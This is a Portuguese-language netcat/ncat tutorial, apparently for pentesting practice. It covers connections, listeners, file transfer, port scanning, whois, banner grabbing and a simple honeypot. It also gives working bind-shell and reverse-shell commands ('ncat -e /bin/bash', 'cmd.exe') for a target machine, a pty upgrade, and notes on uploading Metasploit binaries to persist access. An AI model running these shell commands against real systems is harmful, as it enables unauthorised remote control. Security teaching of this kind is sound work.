netcat
O utilitário nc (ou netcat) é usado para quase tudo sob o sol envolvendo
soquetes de domínio TCP, UDP ou UNIX. Ele pode abrir conexões TCP, enviar
pacotes UDP, escutar em portas TCP e UDP arbitrárias, fazer varredura de portas
e lidar com IPv4 e IPv6. Ao contrário do telnet, o nc faz scripts bem e
separa as mensagens de erro no erro padrão, em vez de enviá-las para a saída
padrão, como o telnet faz com alguns.
Os usos comuns incluem:
- Proxies TCP simples;
- Clientes e servidores HTTP baseados em shell-script;
- Teste de daemon de rede;
- SOCKS ou HTTP ProxyCommand para SSH;
- E muito, muito mais...
Conectando
Abaixo temos o uso básico do nc, utilizando por padrão o protocolo TCP:
nc 172.16.1.4 110
Em alguns casos procisamos de mais informação, por exemplo que a conexão foi
estabelecida e para isso utilizamos o modo verboso passando o argumento -v:
nc -v 172.16.1.4
Para efetuar conexões utilizando o protocolo UDP basta utilizar o argumento
-u:
nc -u 127.0.0.1 9000
Escutando
É possível expor uma porta para conexão utilizando o nc, porém parece não ser
muito funcional se não utilizado para expor uma shell ou para transferir
arquivos, contudo esse modo pode ser útil para validar portas abertas no
firewall, onde exponho uma porta e verifico se o firewall permite acesso à ela.
Para expor essa porta no alvo utilizamos o argumento -l:
nc -vl 5050
Depois podemos utilizar o comando netstat para verificar o estado da porta no
sistema alvo:
netstat -nlpt
Para portas UDP basta utilizar o argumento -u:
nc -vlu 9000
Transferência de arquivo
A transferência de arquivo é muito importante porque o nc não possui a função
de expor uma shell, porém o pacote ncat, mantido pelo projeto do nmap,
possui essa função muito útil. Além disso em muitos momentos temos a necessidade
de subir binários gerados pelo metasploit com a intenção de persistir uma
shell ou até mesmo alguns scripts como o linPEAS para enumeração.
Para a transferência de arquivos uilizando o nc temos dois cenários, um onde o
servidor alvo espera a conexão e no outro caso onde o servidor alvo faz uma
conexão, abaixo teremos os dois exemplos.
Alvo ← Atacante (Upload)
No servidor alvo:
nc -lv 5050 > ncat
No sistema do atacante:
nc -v 172.16.2.6 5050 < ncat
Alvo → Atacante (Download)
No sistema do atacante:
nc -lv 5050 < ncat
No servidor alvo:
nc -v 172.16.2.5 > ncat
Enviando stdout para Conexão
Nesse exemplo vamos enviar o output de algum comando via ncat.
nc -lv 5050 < <(cat /etc/os-release)
Quando fizermos a conexão na porta 5050 iremos receber a saída do comando
cat /etc/os-release:
$ nc -v 127.0.0.1 5050
Connection to 127.0.0.1 5050 port [tcp/*] succeeded!
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Expondo Shell
Bind Shell
Esse é o conceito quando abrimos uma porta no alvo que estará expondo uma shell e conectamos à essa porta. O problema desse método é que na maioria das vezes um servidor está protegido por um firewall e poucas portas estão liberadas e já em uso.
Expondo shell no Linux:
ncat -vnlp 5050 -e /bin/bash
Expondo shell no Windows:
ncat -vnlp 5050 -e cmd.exe
Os dois comandos acima são um modelo de shell simples onde devem ser executadas
na máquina alvo.
Note também que estamos utilizando o ncat ao invés do nc, sendo que o
primeiro possui mais funções.
Após obter a shell com o ncat, podemos chamar um pseudo terminal usando
Python, onde irá melhorar considerávelmente a shell:
python -c 'import pty; pty.spawn("/bin/bash")'
Reverse Shell
Nesse segundo método, a máquina alvo que faz a conexão na máquina atacante, porém também fornecendo uma shell. Teremos mais sucesso com o método reverse shell porque é muito comum não criarem regras de firewall bloqueando outbound (tráfego de saída).
ncat -vn 192.168.0.100 5050 -e /bin/bash
Na máquina do atacante é importante que o ncat esteja em execução antes de
executar o comando acima no alvo, porque precisamos do ncat escutando para
receber a conexão com a shell do alvo.
Escaneando Portas
Para escanear uma porta específica basta utilizar o argumento -z:
nc -vnz 172.16.1.5 22
Escaneando um range de portas:
nc -vnz 172.16.1.5 19-30
Será escaneado da porta 19 até a porta 30.
Podemos também especificar o timeout para cada porta com o argumento -w:
nc -vnz -w2 172.16.1.5 22
Será escaneado levando em consideração um timeout de 2 segundos (-w2).
Escaneando portas UDP com o argumento -u:
nc -vnzu 172.16.1.5 22
Whois
Com o nctambém é capaz de fazer pesquisas de domínio diretamente no
registro.br:
echo "uol.com.br" | nc registro.br 43
O registro.br aceita somentes domínios, ASNs e blocos de IPs brasileiros.
Para verificação extrangeira utilize o whois.internic.net:
echo "domain google.com" | nc whois.internic.net 43
Banner Grabbing
HTTP
$ nc -vn www.alvo.com 80
HEAD / HTTP/1.0
FTP
$ nc -v 192.168.1.100 21
USER anonymous
PASS anonymous
Sempre teste com usuário anonymous e senha anonymous.
Caso o login tenha sido aceito, será retornado o código 230 Login successful.
Servidor de teste:
Domain: ftp.dlptest.com
User: dlpuser
Password: rNrKYTX9g7z3RgJRmxWuGHbeu
Honeypot
Não é uma das melhores opções a criação de um honeypot utilizando netcat
porque existem outras ferramentas mais destinadas para esse fim, porém é prático
e simples, ainda mais em cenários de PoC.
Há duas opções, uma é somente deixar o netcatescutando em uma porta e gravar o
que ele recebe e a outra opção um pouco mais avançada é enviar um banner
informando uma versão de serviço falsa.
$ cat banner_ftp.txt
220 ProFTPD 1.3.4a Server (Ubuntu)
$ while true; do
nc -vlnp 21 < banner_ftp.txt |& tee -a ftp_honeypot.log;
echo $(date) |& tee -a ftp_honeypot.log;
done
O banner será enviado e todo stderr e stdout do netcat será enviado para o
arquivo ftp_honeypot.log e em seguida a data e hora atual será também gravada.